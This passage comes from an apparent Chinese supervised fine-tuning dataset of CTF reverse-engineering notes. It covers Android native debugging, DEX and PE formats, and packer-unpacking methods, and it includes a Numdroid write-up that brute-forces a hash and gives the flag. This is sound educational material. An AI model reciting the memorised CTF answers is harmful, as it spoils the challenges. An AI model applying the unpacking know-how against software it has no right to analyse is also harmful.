basic-reverse\n- dynamic\n- ida-native-debug.md\n- code:text\n\n代码/命令片段线索：\n- text: 5 行，首行 `B3B05000: loaded /data/app/com.droider.debugjniso-1/oat/arm/base.odex`\n- text: 1 行，首行 `绝对地址=基地址+相对偏移`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 677, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "确定原生函数地址", "heading_path": ["在PC的xxx端口与手机的相应端口之间建立连接，方便通信", "确定原生函数地址"], "original_id": "docs-bfcfec99172345f4a5f4", "original_line": 85, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/ida_native_debug.md", "source_root": "docs", "source_sha256": "d8399f7884bd2ee4c12b78bfb645bc6a944270b4f03e4772b5fb7c14b4a3896e", "split": "train", "split_group_key": "ca85a2d8d5defc402bccaf73", "subcategory": "android/basic_reverse/dynamic", "terms": ["Android逆向", "漏洞利用", "android", "basic-reverse", "dynamic", "ida-native-debug.md", "code:text"], "title": "IDA 动态调试原生层程序"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/ida_native_debug.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-a6c8edfd1f1c61d317a9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/dex/dex.md` 中的章节「数据类型定义」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/dex/dex.md`\n标题：DEX文件\n章节：DEX文件 > DEX 文件格式 > 数据类型定义\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“数据类型定义”展开。\n- [图片文件: ./figure/leb128.png] dalvik中读取无符号leb128类型的函数如下 ``c++ DEX_INLINE int readUnsignedLeb128(const u1* pStream) { const u1 ptr = pStream;\n- 可变长度的类型其实都是基于 LEB128(Little-Endian Base 128) 类型的，可以用于表示 32 位大小的 int 数字，其根据所要表示的数字的大小来选择合适的长度。\n- result1 = 0xc0 & 0x7f=0x40 - 类似的，第二个字节对应的result2 = (0x83 & 0x7f)<<7 = 0x180 - 第三个字节对应的result3 = (0x92 & 0x7f) <<14 = 0x48000 - 第四个字节对应的result4 = (0x25)<<21 = 0x4a00000 - 该字节流对应的值为result1+result2+result3+result4 = 0x4a481c0 dalvik中读取有符号的LEB128类型的数字如下 `c++ DE...\n- //取第一个字节 if (result > 0x7f) { //如果第1个字节大于0x7f,表示第一个字节最高位为1 int cur = (ptr++);\n- //第2个字节 result = (result & 0x7f) | ((cur & 0x7f) << 7);\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- dex\n- code:c++\n\n代码/命令片段线索：\n- c++: 27 行，首行 `DEX_INLINE int readUnsignedLeb128(const u1** pStream) {`\n- c++: 35 行，首行 `DEX_INLINE int readSignedLeb128(const u1** pStream) {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 2907, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "数据类型定义", "heading_path": ["DEX文件", "DEX 文件格式", "数据类型定义"], "original_id": "docs-ecbfd873b599c0fdd2ac", "original_line": 29, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/dex.md", "source_root": "docs", "source_sha256": "02e4e7a9ad1994a3eb6f19cb46b69151a53fab27ed230dc7be1d864947ae6323", "split": "train", "split_group_key": "d04184ec753a59606c77ed5d", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "dex", "code:c++"], "title": "DEX文件"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/dex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-a8b7afd896beecd8d3c0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/content.md` 中的章节「全国大学生信息安全竞赛 - 竞赛内容」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/content.md`\n标题：CTF 竞赛内容\n章节：CTF 竞赛内容 > 全国大学生信息安全竞赛 - 竞赛内容\n路径分类：introduction / introduction/content.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“全国大学生信息安全竞赛 - 竞赛内容”展开。\n- 涉及操作系统和 Web 系统安全，包括 Web 网站多种语言源代码审计分析（特别是 PHP）、数据库管理和 SQL 操作、Web 漏洞挖掘和利用（如 SQL 注入和XSS）、服务器提权、编写代码补丁并修复网站漏洞等安全技能。\n- 涉及 Windows/Linux/Android 平台的多种编程技术，要求利用常用工具对源代码及二进制文件进行逆向分析，掌握 Android 移动应用 APK 文件的逆向分析，掌握加解密、内核编程、算法、反调试和代码混淆技术。\n- 掌握 C/C++/Python/PHP/Java/Ruby/汇编 等语言，挖掘 Windows/Linux（x86/x86\\_64 平台）二进制程序漏洞，掌握缓冲区溢出和格式化字符串攻击，编写并利用 shellcode。\n- 掌握古典密码学和现代密码学，分析密码算法和协议，计算密钥和进行加解密操作。\n- 2016 年全国大学生信息安全竞赛开始举办创新实践技能赛，采取的就是传统的 CTF 赛制。\n\n关键术语：\n- SQL注入\n- 边界/溢出\n- Android逆向\n- 密码学\n- 修复/缓解\n- 漏洞利用\n- content.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 607, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "reverse", "heading": "全国大学生信息安全竞赛 - 竞赛内容", "heading_path": ["CTF 竞赛内容", "全国大学生信息安全竞赛 - 竞赛内容"], "original_id": "docs-6afa3f3e79541c2deb59", "original_line": 519, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/content.md", "source_root": "docs", "source_sha256": "624892ca80696ba57fef10fad03881811b0ae6d5224633f5bea7e550ea6f7ee0", "split": "train", "split_group_key": "c3f8e139524b3d19e110598e", "subcategory": "introduction/content.md", "terms": ["SQL注入", "边界/溢出", "Android逆向", "密码学", "修复/缓解", "漏洞利用", "content.md"], "title": "CTF 竞赛内容"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/content.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-aa6d2663a4263996d6b2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/java-example.md` 中的章节「classes.dex crc32」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/java-example.md`\n标题：静态分析 java 层例子\n章节：静态分析 java 层例子 > 2015-0CTF-vezel > classes.dex crc32\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“classes.dex crc32”展开。\n- ``text CRC-32 46e26557 MD5 Hash 3217b0ad6c769233ea2a49d17885b5ba SHA1 Hash ec3b4730654248a02b016d00c9ae2425379bf78f SHA256 Hash 6fb1df4dacc95312ec72d8b79d22529e1720a573971f866bbf8963b01499ecf8 ` 需要注意的是，这里需要转成十进制 ` >>> print int(\"46E26557\", 16) 1189242199 ``\n- 随便找个在线网站获取一下classes.dex的CRC32值。\n\n关键术语：\n- Android逆向\n- android\n- basic-reverse\n- static\n- java-example.md\n- code:text\n\n代码/命令片段线索：\n- text: 4 行，首行 `CRC-32 46e26557`\n- plain: 2 行，首行 `>>> print int(\"46E26557\", 16)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 300, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "classes.dex crc32", "heading_path": ["静态分析 java 层例子", "2015-0CTF-vezel", "classes.dex crc32"], "original_id": "docs-9be0847c62e98cf1ec32", "original_line": 97, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "source_root": "docs", "source_sha256": "62c2c6f57e2d71e08985150dbb4728e0bac9238d8f3eefa436ea9388b2bcd517", "split": "train", "split_group_key": "1dc3202763dec0bde84d1af7", "subcategory": "android/basic_reverse/static", "terms": ["Android逆向", "android", "basic-reverse", "static", "java-example.md", "code:text"], "title": "静态分析 java 层例子"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-ab80d1754a537c48cfe2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/pe/pe-excutable.md` 中的章节「常用术语及其含义」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/pe/pe-excutable.md`\n标题：PE 文件格式\n章节：PE 文件格式 > PE 简介 > 常用术语及其含义\n路径分类：executable / executable/pe/pe-excutable.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“常用术语及其含义”展开。\n- 映像文件 因为 PE 文件通常需要加载到内存中才能执行，相当于内存中的映像，所以 PE 文件也叫做映像文件。\n- 因为不论是在磁盘文件上，或是在虚拟内存中，数据相对于其所在节的相对偏移是固定的，据此可以实现 RVA 与 FOA 之间的转换，即RVA - 节区RVA = FOA - 节区FOA。\n- 假设某一个属于 .data 节的数据的 RVA 是 0x3100，.data 节的 节区RVA 为 0x3000，那么该数据相对于 .data 节的相对偏移就是 0x100。\n- 而 .data 节在的 节区FOA 为 0x1C00，那么该数据在磁盘文件中的 FOA 就是 0x1D00。\n- 完整的计算公式是：FOA = 节区FOA + (RVA - 节区RVA)。\n\n关键术语：\n- executable\n- pe\n- pe-excutable.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 499, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "常用术语及其含义", "heading_path": ["PE 文件格式", "PE 简介", "常用术语及其含义"], "original_id": "docs-c5af86f7c8664e117a89", "original_line": 491, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-excutable.md", "source_root": "docs", "source_sha256": "4669cbf09f510d2b3a2f22bbcf445cf1d4ba546e5c8b539b790becf13b0901d8", "split": "train", "split_group_key": "d3b497f75a6466427ceddaf2", "subcategory": "executable/pe/pe-excutable.md", "terms": ["executable", "pe", "pe-excutable.md"], "title": "PE 文件格式"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-excutable.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-ac3210828e35673821cd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/java-example.md` 中的章节「分析程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/java-example.md`\n标题：静态分析 java 层例子\n章节：静态分析 java 层例子 > 2014 ASIS Cyber Security Contest Finals Numdroid > 分析程序\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析程序”展开。\n- } ` 可以发现程序主要是取password的前7位进行OneWayFunction加密，然后与be790d865f2cea9645b3f79c0342df7e进行比较。\n- } } `` 函数大概就是执行了几个hash值，但是自己去分析的话，太过于复杂，，由于本题的答案空间($10^7$)比较小，所以我们可以把verify类中的方法拿出来自己暴力跑一下。\n- 根据strings.xml可以发现该字符串的变量名为wrong，继而我们找到了如下代码。\n- ``java protected void ok_clicked() { DebugTools.log(\"clicked password: \" + this.mScreen.getText());\n- boolean result = Verify.isOk(this, this.mScreen.getText().toString());\n\n关键术语：\n- Android逆向\n- android\n- basic-reverse\n- static\n- java-example.md\n- code:java\n\n代码/命令片段线索：\n- java: 15 行，首行 `protected void ok_clicked() {`\n- java: 12 行，首行 `public static boolean isOk(Context c, String _password) {`\n- java: 39 行，首行 `private static String OneWayFunction(String password) {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 2393, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "分析程序", "heading_path": ["静态分析 java 层例子", "2014 ASIS Cyber Security Contest Finals Numdroid", "分析程序"], "original_id": "docs-cf15a7c1549a8fa901de", "original_line": 90, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "source_root": "docs", "source_sha256": "62c2c6f57e2d71e08985150dbb4728e0bac9238d8f3eefa436ea9388b2bcd517", "split": "train", "split_group_key": "8779e52c36118b7eaf534087", "subcategory": "android/basic_reverse/static", "terms": ["Android逆向", "android", "basic-reverse", "static", "java-example.md", "code:java"], "title": "静态分析 java 层例子"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-ac788ae990521cd89028", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/unpack/memory.md` 中的章节「要点」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/unpack/memory.md`\n标题：内存镜像法\n章节：内存镜像法 > 要点\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“要点”展开。\n- 1. 选择菜单的选项->调试选项->异常 2. 勾选所有的忽略异常 3. 按下ALT+M, 打开内存镜像, 找到程序的第一个.rsrc, 按F2下断点, 然后按SHIFT+F9运行到断点 4. 再按ALT+M, 打开内存镜像, 找到程序的第一个.rsrc上面的.text(在示例中是00401000处), 按F2下断点. 然后按SHIFT+F9（或者是在没异常情况下按F9）\n\n关键术语：\n- reverse\n- platform\n- windows\n- unpack\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 205, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "要点", "heading_path": ["内存镜像法", "要点"], "original_id": "docs-42e113e34893004d594a", "original_line": 1543, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/memory.md", "source_root": "docs", "source_sha256": "974d78d4ecb9aaa2547fea8991f8ec83bce58cc8f5c6c497dac11d2e8aab1378", "split": "train", "split_group_key": "f789ff53dc925396d9c50b7d", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "unpack"], "title": "内存镜像法"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/memory.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-ad00efc281828c2850e9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/java-example.md` 中的章节「构造程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/java-example.md`\n标题：静态分析 java 层例子\n章节：静态分析 java 层例子 > 2014 ASIS Cyber Security Contest Finals Numdroid > 构造程序\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“构造程序”展开。\n- 提取出java程序之后，在Verify类中添加main函数并修复部分错误，从而得到对应的答案。\n- 需要注意的是，这里如果对应的hash函数不存在的话，源程序会跳过对应的函数。\n- 输入之后得到如下 [图片文件: ./figure/2014-Numdroid-flag.png] 然后我们计算对应的MD值，从而获得flag为ASIS_3c56e1ed0597056fef0006c6d1c52463。\n- 这里对应的代码放在了example对应的文件夹中。\n- 我直接全部跑没有找到，然后去掉了一个不常见的MD2算法，从而得到了答案。\n\n关键术语：\n- Android逆向\n- AI安全\n- 修复/缓解\n- android\n- basic-reverse\n- static\n- java-example.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 285, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "构造程序", "heading_path": ["静态分析 java 层例子", "2014 ASIS Cyber Security Contest Finals Numdroid", "构造程序"], "original_id": "docs-f8b396020ad973e89f61", "original_line": 91, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "source_root": "docs", "source_sha256": "62c2c6f57e2d71e08985150dbb4728e0bac9238d8f3eefa436ea9388b2bcd517", "split": "train", "split_group_key": "aab536a1c6b073b9505144c0", "subcategory": "android/basic_reverse/static", "terms": ["Android逆向", "AI安全", "修复/缓解", "android", "basic-reverse", "static", "java-example.md"], "title": "静态分析 java 层例子"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-adc34350afdb34e254a7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/unicorn.md` 中的章节「使用unicorn的快速指南」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/unicorn.md`\n标题：Unicorn Engine\n章节：Unicorn Engine > 使用unicorn的快速指南\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“使用unicorn的快速指南”展开。\n- `` python 1 from __future__ import print_function 2 from unicorn import 3 from unicorn.x86_const import 4 5 # code to be emulated 6 X86_CODE32 = b\"\\x41\\x4a\" # INC ecx;\n- 我们将会展示如何使用python调用unicorn的api以及它是如何轻易地模拟二进制代码. 当然这里用的api仅是一小部分, 但对于入门已经足够了.\n- Below is the CPU context\") 31 32 r_ecx = mu.reg_read(UC_X86_REG_ECX) 33 r_edx = mu.reg_read(UC_X86_REG_EDX) 34 print(\">>> ECX = 0x%x\" %r_ecx) 35 print(\">>> EDX = 0x%x\" %r_edx) 36 37 except UcError as e: 38 print(\"ERROR: %s\" % e) ` 运行结果如下: ` shell $ python t...\n\n关键术语：\n- reverse\n- tools\n- simulate-execution\n- unicorn.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `运行结果如下:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 2248, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "使用unicorn的快速指南", "heading_path": ["Unicorn Engine", "使用unicorn的快速指南"], "original_id": "docs-f148844a4c3a2ace196f", "original_line": 1574, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/unicorn.md", "source_root": "docs", "source_sha256": "712f67f78fd5fe934747369e028d14a97c9d16cbe2949353ea3af2e3a6446994", "split": "train", "split_group_key": "d05640828b7b5f504a2a248a", "subcategory": "reverse/tools/simulate-execution", "terms": ["reverse", "tools", "simulate-execution", "unicorn.md"], "title": "Unicorn Engine"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/unicorn.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-aec5cdbfdfc70df4eb3e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/pe/pe-export-table.md` 中的章节「导出表」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/pe/pe-export-table.md`\n标题：导出表\n章节：导出表\n路径分类：executable / executable/pe/pe-export-table.md\n分块：1/1\n\n核心知识点：\n- 对于 DLL 里导出函数的调用，既可以通过函数名称，也可以通过函数在导出表的索引进行。\n- 从导入角度来看，Windows 装载器完善 IAT 时就是通过 DLL 的导出表读取从其导入的函数的地址的。\n- Windows 装载器将与进程相关的 DLL 加载到虚拟地址空间后，会根据导入表中登记的与该 DLL 相关的名称或编号来遍历 DLL 的虚拟地址空间并查找导出表结构，从而确定该导出函数在虚拟地址空间中的起始地址 VA，并将该 VA 覆盖写入 IAT 对应项处。\n- DLL 通过导出表向外界提供导出函数名称，序号以及入口地址等信息。\n- 导出表通常存在于大多数 DLL 中，但在少数 EXE 文件中同样存在。\n\n关键术语：\n- executable\n- pe\n- pe-export-table.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 297, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "导出表", "heading_path": ["导出表"], "original_id": "docs-fdf8f9114017475a6d91", "original_line": 498, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-export-table.md", "source_root": "docs", "source_sha256": "6f6ff74b83aa9e1a229cf1c25278162b59d54b4794cbbb0ff4de370ad0bc4edd", "split": "train", "split_group_key": "54ab1be7e0794037bc627ae2", "subcategory": "executable/pe/pe-export-table.md", "terms": ["executable", "pe", "pe-export-table.md"], "title": "导出表"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-export-table.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-af63eb51582fd42b5f96", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/introduction.md` 中的章节「定位关键代码tips」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/introduction.md`\n标题：软件逆向工程简介\n章节：软件逆向工程简介 > 常规逆向流程 > 定位关键代码tips\n路径分类：reverse / reverse/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“定位关键代码tips”展开。\n- 2. 利用数据、代码交叉引用 比如输出的提示字符串，可以通过数据交叉引用找到对应的调用位置，进而找出关键代码。\n- 1. 分析控制流 控制流可以参见IDA生成的控制流程图（CFG），沿着分支循环和函数调用，逐块地阅读反汇编代码进行分析。\n- 代码交叉引用比如图形界面程序获取用户输入，就可以使用对应的windowsAPI函数，我们就可以通过这些API函数调用位置找到关键代码。\n\n关键术语：\n- 漏洞利用\n- reverse\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 188, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "定位关键代码tips", "heading_path": ["软件逆向工程简介", "常规逆向流程", "定位关键代码tips"], "original_id": "docs-e82d92dfd59750578423", "original_line": 1470, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/introduction.md", "source_root": "docs", "source_sha256": "768d6c888495fdf1c7fba9f305b7709fab79f182d1e6812c5f92443f4bf7d7df", "split": "train", "split_group_key": "1cf67794ca0010abdc15b06d", "subcategory": "reverse/introduction.md", "terms": ["漏洞利用", "reverse", "introduction.md"], "title": "软件逆向工程简介"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-b1130033d5beb2c2129a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/unpack/esp.md` 中的章节「要点」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/unpack/esp.md`\n标题：ESP 定律法\n章节：ESP 定律法 > 要点\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“要点”展开。\n- ESP定律的原理在于利用程序中堆栈平衡来快速找到OEP. 由于在程序自解密或者自解压过程中, 不少壳会先将当前寄存器状态压栈, 如使用pushad, 在解压结束后, 会将之前的寄存器值出栈, 如使用popad. 因此在寄存器出栈时, 往往程序代码被恢复, 此时硬件断点触发. 然后在程序当前位置, 只需要少许单步操作, 就很容易到达正确的OEP位置.\n- 1. 程序刚载入开始pushad/pushfd 2. 将全部寄存器压栈后就设对ESP寄存器设硬件断点 3. 运行程序, 触发断点 4. 删除硬件断点开始分析\n\n关键术语：\n- 堆\n- 栈\n- 漏洞利用\n- reverse\n- platform\n- windows\n- unpack\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 260, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "要点", "heading_path": ["ESP 定律法", "要点"], "original_id": "docs-2634ed50c55089a9b402", "original_line": 1537, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/esp.md", "source_root": "docs", "source_sha256": "1ddfa16a5239d9a6ad2e439a620e789a17cb0aac942e5e482397eae098cd0351", "split": "train", "split_group_key": "f21f3e0edbc741de34c36d67", "subcategory": "reverse/platform/windows", "terms": ["堆", "栈", "漏洞利用", "reverse", "platform", "windows", "unpack"], "title": "ESP 定律法"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/esp.md", 